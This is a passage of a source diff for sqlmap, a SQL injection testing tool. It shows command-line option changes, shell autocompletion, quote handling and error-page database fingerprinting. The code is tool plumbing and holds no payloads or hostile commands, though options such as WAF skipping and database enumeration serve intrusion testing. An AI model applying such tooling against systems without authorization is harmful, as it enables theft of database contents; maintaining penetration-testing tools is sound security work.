Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -21,10 +21,15 @@ class Unescaper(AttribDict):
|
|||||||
identifiedDbms = Backend.getIdentifiedDbms()
|
identifiedDbms = Backend.getIdentifiedDbms()
|
||||||
|
|
||||||
if dbms is not None:
|
if dbms is not None:
|
||||||
return self[dbms](expression, quote=quote)
|
retVal = self[dbms](expression, quote=quote)
|
||||||
elif identifiedDbms is not None:
|
elif identifiedDbms is not None and identifiedDbms in self:
|
||||||
return self[identifiedDbms](expression, quote=quote)
|
retVal = self[identifiedDbms](expression, quote=quote)
|
||||||
else:
|
else:
|
||||||
return expression
|
retVal = expression
|
||||||
|
|
||||||
|
# e.g. inference comparison for '
|
||||||
|
retVal = retVal.replace("'''", "''''")
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
unescaper = Unescaper()
|
unescaper = Unescaper()
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -136,6 +136,6 @@ def update():
|
|||||||
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
|
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
|
||||||
else:
|
else:
|
||||||
infoMsg = "for Linux platform it's recommended "
|
infoMsg = "for Linux platform it's recommended "
|
||||||
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
|
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')"
|
||||||
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -42,7 +42,7 @@ class Wordlist(six.Iterator):
|
|||||||
def adjust(self):
|
def adjust(self):
|
||||||
self.closeFP()
|
self.closeFP()
|
||||||
if self.index > len(self.filenames):
|
if self.index > len(self.filenames):
|
||||||
raise StopIteration
|
return # Note: https://stackoverflow.com/a/30217723 (PEP 479)
|
||||||
elif self.index == len(self.filenames):
|
elif self.index == len(self.filenames):
|
||||||
self.iter = iter(self.custom)
|
self.iter = iter(self.custom)
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -44,6 +44,26 @@ finally:
|
|||||||
def get_groups(parser):
|
def get_groups(parser):
|
||||||
return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups")
|
return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups")
|
||||||
|
|
||||||
|
def get_all_options(parser):
|
||||||
|
retVal = set()
|
||||||
|
|
||||||
|
for option in get_actions(parser):
|
||||||
|
if hasattr(option, "option_strings"):
|
||||||
|
retVal.update(option.option_strings)
|
||||||
|
else:
|
||||||
|
retVal.update(option._long_opts)
|
||||||
|
retVal.update(option._short_opts)
|
||||||
|
|
||||||
|
for group in get_groups(parser):
|
||||||
|
for option in get_actions(group):
|
||||||
|
if hasattr(option, "option_strings"):
|
||||||
|
retVal.update(option.option_strings)
|
||||||
|
else:
|
||||||
|
retVal.update(option._long_opts)
|
||||||
|
retVal.update(option._short_opts)
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
from lib.core.common import checkOldOptions
|
from lib.core.common import checkOldOptions
|
||||||
from lib.core.common import checkSystemEncoding
|
from lib.core.common import checkSystemEncoding
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
@@ -58,10 +78,12 @@ from lib.core.defaults import defaults
|
|||||||
from lib.core.dicts import DEPRECATED_OPTIONS
|
from lib.core.dicts import DEPRECATED_OPTIONS
|
||||||
from lib.core.enums import AUTOCOMPLETE_TYPE
|
from lib.core.enums import AUTOCOMPLETE_TYPE
|
||||||
from lib.core.exception import SqlmapShellQuitException
|
from lib.core.exception import SqlmapShellQuitException
|
||||||
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
from lib.core.option import _createHomeDirectories
|
from lib.core.option import _createHomeDirectories
|
||||||
from lib.core.settings import BASIC_HELP_ITEMS
|
from lib.core.settings import BASIC_HELP_ITEMS
|
||||||
from lib.core.settings import DUMMY_URL
|
from lib.core.settings import DUMMY_URL
|
||||||
|
from lib.core.settings import IGNORED_OPTIONS
|
||||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
||||||
@@ -101,18 +123,15 @@ def cmdLineParser(argv=None):
|
|||||||
# Target options
|
# Target options
|
||||||
target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)")
|
target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)")
|
||||||
|
|
||||||
target.add_argument("-d", dest="direct",
|
|
||||||
help="Connection string for direct database connection")
|
|
||||||
|
|
||||||
target.add_argument("-u", "--url", dest="url",
|
target.add_argument("-u", "--url", dest="url",
|
||||||
help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")
|
help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")
|
||||||
|
|
||||||
|
target.add_argument("-d", dest="direct",
|
||||||
|
help="Connection string for direct database connection")
|
||||||
|
|
||||||
target.add_argument("-l", dest="logFile",
|
target.add_argument("-l", dest="logFile",
|
||||||
help="Parse target(s) from Burp or WebScarab proxy log file")
|
help="Parse target(s) from Burp or WebScarab proxy log file")
|
||||||
|
|
||||||
target.add_argument("-x", dest="sitemapUrl",
|
|
||||||
help="Parse target(s) from remote sitemap(.xml) file")
|
|
||||||
|
|
||||||
target.add_argument("-m", dest="bulkFile",
|
target.add_argument("-m", dest="bulkFile",
|
||||||
help="Scan multiple targets given in a textual file ")
|
help="Scan multiple targets given in a textual file ")
|
||||||
|
|
||||||
@@ -128,6 +147,12 @@ def cmdLineParser(argv=None):
|
|||||||
# Request options
|
# Request options
|
||||||
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
|
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
|
||||||
|
|
||||||
|
request.add_argument("-A", "--user-agent", dest="agent",
|
||||||
|
help="HTTP User-Agent header value")
|
||||||
|
|
||||||
|
request.add_argument("-H", "--header", dest="header",
|
||||||
|
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
|
||||||
|
|
||||||
request.add_argument("--method", dest="method",
|
request.add_argument("--method", dest="method",
|
||||||
help="Force usage of given HTTP method (e.g. PUT)")
|
help="Force usage of given HTTP method (e.g. PUT)")
|
||||||
|
|
||||||
@@ -149,9 +174,6 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true",
|
request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true",
|
||||||
help="Ignore Set-Cookie header from response")
|
help="Ignore Set-Cookie header from response")
|
||||||
|
|
||||||
request.add_argument("--user-agent", dest="agent",
|
|
||||||
help="HTTP User-Agent header value")
|
|
||||||
|
|
||||||
request.add_argument("--mobile", dest="mobile", action="store_true",
|
request.add_argument("--mobile", dest="mobile", action="store_true",
|
||||||
help="Imitate smartphone through HTTP User-Agent header")
|
help="Imitate smartphone through HTTP User-Agent header")
|
||||||
|
|
||||||
@@ -164,9 +186,6 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_argument("--referer", dest="referer",
|
request.add_argument("--referer", dest="referer",
|
||||||
help="HTTP Referer header value")
|
help="HTTP Referer header value")
|
||||||
|
|
||||||
request.add_argument("-H", "--header", dest="header",
|
|
||||||
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
|
|
||||||
|
|
||||||
request.add_argument("--headers", dest="headers",
|
request.add_argument("--headers", dest="headers",
|
||||||
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
||||||
|
|
||||||
@@ -234,7 +253,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Load safe HTTP request from a file")
|
help="Load safe HTTP request from a file")
|
||||||
|
|
||||||
request.add_argument("--safe-freq", dest="safeFreq", type=int,
|
request.add_argument("--safe-freq", dest="safeFreq", type=int,
|
||||||
help="Test requests between two visits to a given safe URL")
|
help="Regular requests between visits to a safe URL")
|
||||||
|
|
||||||
request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
|
request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
|
||||||
help="Skip URL encoding of payload data")
|
help="Skip URL encoding of payload data")
|
||||||
@@ -245,6 +264,9 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_argument("--csrf-url", dest="csrfUrl",
|
request.add_argument("--csrf-url", dest="csrfUrl",
|
||||||
help="URL address to visit for extraction of anti-CSRF token")
|
help="URL address to visit for extraction of anti-CSRF token")
|
||||||
|
|
||||||
|
request.add_argument("--csrf-method", dest="csrfMethod",
|
||||||
|
help="HTTP method to use during anti-CSRF token page visit")
|
||||||
|
|
||||||
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
|
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
|
||||||
help="Force usage of SSL/HTTPS")
|
help="Force usage of SSL/HTTPS")
|
||||||
|
|
||||||
@@ -390,7 +412,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Perform an extensive DBMS version fingerprint")
|
help="Perform an extensive DBMS version fingerprint")
|
||||||
|
|
||||||
# Enumeration options
|
# Enumeration options
|
||||||
enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
|
enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables")
|
||||||
|
|
||||||
enumeration.add_argument("-a", "--all", dest="getAll", action="store_true",
|
enumeration.add_argument("-a", "--all", dest="getAll", action="store_true",
|
||||||
help="Retrieve everything")
|
help="Retrieve everything")
|
||||||
@@ -661,7 +683,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Save options to a configuration INI file")
|
help="Save options to a configuration INI file")
|
||||||
|
|
||||||
general.add_argument("--scope", dest="scope",
|
general.add_argument("--scope", dest="scope",
|
||||||
help="Regexp to filter targets from provided proxy log")
|
help="Regexp for filtering targets")
|
||||||
|
|
||||||
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
||||||
help="Skip heuristic detection of WAF/IPS protection")
|
help="Skip heuristic detection of WAF/IPS protection")
|
||||||
@@ -705,12 +727,18 @@ def cmdLineParser(argv=None):
|
|||||||
miscellaneous.add_argument("--purge", dest="purge", action="store_true",
|
miscellaneous.add_argument("--purge", dest="purge", action="store_true",
|
||||||
help="Safely remove all content from sqlmap data directory")
|
help="Safely remove all content from sqlmap data directory")
|
||||||
|
|
||||||
|
miscellaneous.add_argument("--results-file", dest="resultsFile",
|
||||||
|
help="Location of CSV results file in multiple targets mode")
|
||||||
|
|
||||||
miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true",
|
miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true",
|
||||||
help="Prompt for an interactive sqlmap shell")
|
help="Prompt for an interactive sqlmap shell")
|
||||||
|
|
||||||
miscellaneous.add_argument("--tmp-dir", dest="tmpDir",
|
miscellaneous.add_argument("--tmp-dir", dest="tmpDir",
|
||||||
help="Local directory for storing temporary files")
|
help="Local directory for storing temporary files")
|
||||||
|
|
||||||
|
miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
|
||||||
|
help="Adjust options for unstable connections")
|
||||||
|
|
||||||
miscellaneous.add_argument("--update", dest="updateAll", action="store_true",
|
miscellaneous.add_argument("--update", dest="updateAll", action="store_true",
|
||||||
help="Update sqlmap")
|
help="Update sqlmap")
|
||||||
|
|
||||||
@@ -754,19 +782,22 @@ def cmdLineParser(argv=None):
|
|||||||
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
|
parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--live-test", dest="liveTest", action="store_true",
|
parser.add_argument("--gui", dest="gui", action="store_true",
|
||||||
|
help=SUPPRESS)
|
||||||
|
|
||||||
|
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--stop-fail", dest="stopFail", action="store_true",
|
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--run-case", dest="runCase",
|
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
# API options
|
# API options
|
||||||
@@ -821,7 +852,6 @@ def cmdLineParser(argv=None):
|
|||||||
break
|
break
|
||||||
|
|
||||||
_ = []
|
_ = []
|
||||||
prompt = False
|
|
||||||
advancedHelp = True
|
advancedHelp = True
|
||||||
extraHeaders = []
|
extraHeaders = []
|
||||||
tamperIndex = None
|
tamperIndex = None
|
||||||
@@ -833,26 +863,23 @@ def cmdLineParser(argv=None):
|
|||||||
argv = _
|
argv = _
|
||||||
checkOldOptions(argv)
|
checkOldOptions(argv)
|
||||||
|
|
||||||
prompt = "--sqlmap-shell" in argv
|
if "--gui" in argv:
|
||||||
|
from lib.core.gui import runGui
|
||||||
|
|
||||||
if prompt:
|
runGui(parser)
|
||||||
|
|
||||||
|
raise SqlmapSilentQuitException
|
||||||
|
|
||||||
|
elif "--sqlmap-shell" in argv:
|
||||||
_createHomeDirectories()
|
_createHomeDirectories()
|
||||||
|
|
||||||
parser.usage = ""
|
parser.usage = ""
|
||||||
cmdLineOptions.sqlmapShell = True
|
cmdLineOptions.sqlmapShell = True
|
||||||
|
|
||||||
_ = ["x", "q", "exit", "quit", "clear"]
|
commands = set(("x", "q", "exit", "quit", "clear"))
|
||||||
|
commands.update(get_all_options(parser))
|
||||||
|
|
||||||
for option in get_actions(parser):
|
autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands)
|
||||||
_.extend(option._long_opts)
|
|
||||||
_.extend(option._short_opts)
|
|
||||||
|
|
||||||
for group in get_groups(parser):
|
|
||||||
for option in get_actions(group):
|
|
||||||
_.extend(option._long_opts)
|
|
||||||
_.extend(option._short_opts)
|
|
||||||
|
|
||||||
autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_)
|
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
command = None
|
command = None
|
||||||
@@ -887,8 +914,12 @@ def cmdLineParser(argv=None):
|
|||||||
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
||||||
|
|
||||||
for i in xrange(len(argv)):
|
for i in xrange(len(argv)):
|
||||||
|
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
||||||
|
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
||||||
if argv[i] == "-hh":
|
if argv[i] == "-hh":
|
||||||
argv[i] = "-h"
|
argv[i] = "-h"
|
||||||
|
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
|
||||||
|
argv[i] = "--url=%s" % argv[i]
|
||||||
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
||||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
@@ -898,6 +929,11 @@ def cmdLineParser(argv=None):
|
|||||||
elif re.search(r"\A-\w=.+", argv[i]):
|
elif re.search(r"\A-\w=.+", argv[i]):
|
||||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
elif re.search(r"\A-\w{3,}", argv[i]):
|
||||||
|
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
|
||||||
|
argv[i] = "-%s" % argv[i]
|
||||||
|
elif argv[i] in IGNORED_OPTIONS:
|
||||||
|
argv[i] = ""
|
||||||
elif argv[i] in DEPRECATED_OPTIONS:
|
elif argv[i] in DEPRECATED_OPTIONS:
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i].startswith("--tamper"):
|
elif argv[i].startswith("--tamper"):
|
||||||
@@ -909,6 +945,8 @@ def cmdLineParser(argv=None):
|
|||||||
elif argv[i] == "-H":
|
elif argv[i] == "-H":
|
||||||
if i + 1 < len(argv):
|
if i + 1 < len(argv):
|
||||||
extraHeaders.append(argv[i + 1])
|
extraHeaders.append(argv[i + 1])
|
||||||
|
elif argv[i] == "--deps":
|
||||||
|
argv[i] = "--dependencies"
|
||||||
elif argv[i] == "-r":
|
elif argv[i] == "-r":
|
||||||
for j in xrange(i + 2, len(argv)):
|
for j in xrange(i + 2, len(argv)):
|
||||||
value = argv[j]
|
value = argv[j]
|
||||||
@@ -934,6 +972,9 @@ def cmdLineParser(argv=None):
|
|||||||
found = True
|
found = True
|
||||||
if not found:
|
if not found:
|
||||||
get_groups(parser).remove(group)
|
get_groups(parser).remove(group)
|
||||||
|
elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-\w\Z", argv[i - 1]) is None:
|
||||||
|
dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i])
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
||||||
try:
|
try:
|
||||||
@@ -967,8 +1008,8 @@ def cmdLineParser(argv=None):
|
|||||||
if args.dummy:
|
if args.dummy:
|
||||||
args.url = args.url or DUMMY_URL
|
args.url = args.url or DUMMY_URL
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -79,14 +79,14 @@ def configFileParser(configFile):
|
|||||||
|
|
||||||
mandatory = False
|
mandatory = False
|
||||||
|
|
||||||
for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"):
|
for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"):
|
||||||
if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option):
|
if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option):
|
||||||
mandatory = True
|
mandatory = True
|
||||||
break
|
break
|
||||||
|
|
||||||
if not mandatory:
|
if not mandatory:
|
||||||
errMsg = "missing a mandatory option in the configuration file "
|
errMsg = "missing a mandatory option in the configuration file "
|
||||||
errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)"
|
errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)"
|
||||||
raise SqlmapMissingMandatoryOptionException(errMsg)
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
for family, optionData in optDict.items():
|
for family, optionData in optDict.items():
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -26,7 +26,10 @@ class HTMLHandler(ContentHandler):
|
|||||||
|
|
||||||
self._dbms = None
|
self._dbms = None
|
||||||
self._page = (page or "")
|
self._page = (page or "")
|
||||||
self._lower_page = self._page.lower()
|
try:
|
||||||
|
self._lower_page = self._page.lower()
|
||||||
|
except SystemError: # https://bugs.python.org/issue18183
|
||||||
|
self._lower_page = None
|
||||||
self._urldecoded_page = urldecode(self._page)
|
self._urldecoded_page = urldecode(self._page)
|
||||||
|
|
||||||
self.dbms = None
|
self.dbms = None
|
||||||
@@ -49,20 +52,31 @@ class HTMLHandler(ContentHandler):
|
|||||||
keywords = sorted(keywords, key=len)
|
keywords = sorted(keywords, key=len)
|
||||||
kb.cache.regex[regexp] = keywords[-1].lower()
|
kb.cache.regex[regexp] = keywords[-1].lower()
|
||||||
|
|
||||||
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
|
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
|
||||||
self.dbms = self._dbms
|
self.dbms = self._dbms
|
||||||
self._markAsErrorPage()
|
self._markAsErrorPage()
|
||||||
|
kb.forkNote = kb.forkNote or attrs.get("fork")
|
||||||
|
|
||||||
def htmlParser(page):
|
def htmlParser(page):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTML page to
|
This function calls a class that parses the input HTML page to
|
||||||
fingerprint the back-end database management system
|
fingerprint the back-end database management system
|
||||||
|
|
||||||
|
>>> from lib.core.enums import DBMS
|
||||||
|
>>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL
|
||||||
|
True
|
||||||
|
>>> threadData = getCurrentThreadData()
|
||||||
|
>>> threadData.lastErrorPage = None
|
||||||
"""
|
"""
|
||||||
|
|
||||||
xmlfile = paths.ERRORS_XML
|
xmlfile = paths.ERRORS_XML
|
||||||
handler = HTMLHandler(page)
|
handler = HTMLHandler(page)
|
||||||
key = hash(page)
|
key = hash(page)
|
||||||
|
|
||||||
|
# generic SQL warning/error messages
|
||||||
|
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
||||||
|
handler._markAsErrorPage()
|
||||||
|
|
||||||
if key in kb.cache.parsedDbms:
|
if key in kb.cache.parsedDbms:
|
||||||
retVal = kb.cache.parsedDbms[key]
|
retVal = kb.cache.parsedDbms[key]
|
||||||
if retVal:
|
if retVal:
|
||||||
@@ -79,8 +93,4 @@ def htmlParser(page):
|
|||||||
|
|
||||||
kb.cache.parsedDbms[key] = handler.dbms
|
kb.cache.parsedDbms[key] = handler.dbms
|
||||||
|
|
||||||
# generic SQL warning/error messages
|
|
||||||
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
|
||||||
handler._markAsErrorPage()
|
|
||||||
|
|
||||||
return handler.dbms
|
return handler.dbms
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -41,10 +41,10 @@ def cleanupVals(text, tag):
|
|||||||
return text
|
return text
|
||||||
|
|
||||||
def parseXmlNode(node):
|
def parseXmlNode(node):
|
||||||
for element in node.getiterator("boundary"):
|
for element in node.findall("boundary"):
|
||||||
boundary = AttribDict()
|
boundary = AttribDict()
|
||||||
|
|
||||||
for child in element.getchildren():
|
for child in element:
|
||||||
if child.text:
|
if child.text:
|
||||||
values = cleanupVals(child.text, child.tag)
|
values = cleanupVals(child.text, child.tag)
|
||||||
boundary[child.tag] = values
|
boundary[child.tag] = values
|
||||||
@@ -53,21 +53,21 @@ def parseXmlNode(node):
|
|||||||
|
|
||||||
conf.boundaries.append(boundary)
|
conf.boundaries.append(boundary)
|
||||||
|
|
||||||
for element in node.getiterator("test"):
|
for element in node.findall("test"):
|
||||||
test = AttribDict()
|
test = AttribDict()
|
||||||
|
|
||||||
for child in element.getchildren():
|
for child in element:
|
||||||
if child.text and child.text.strip():
|
if child.text and child.text.strip():
|
||||||
values = cleanupVals(child.text, child.tag)
|
values = cleanupVals(child.text, child.tag)
|
||||||
test[child.tag] = values
|
test[child.tag] = values
|
||||||
else:
|
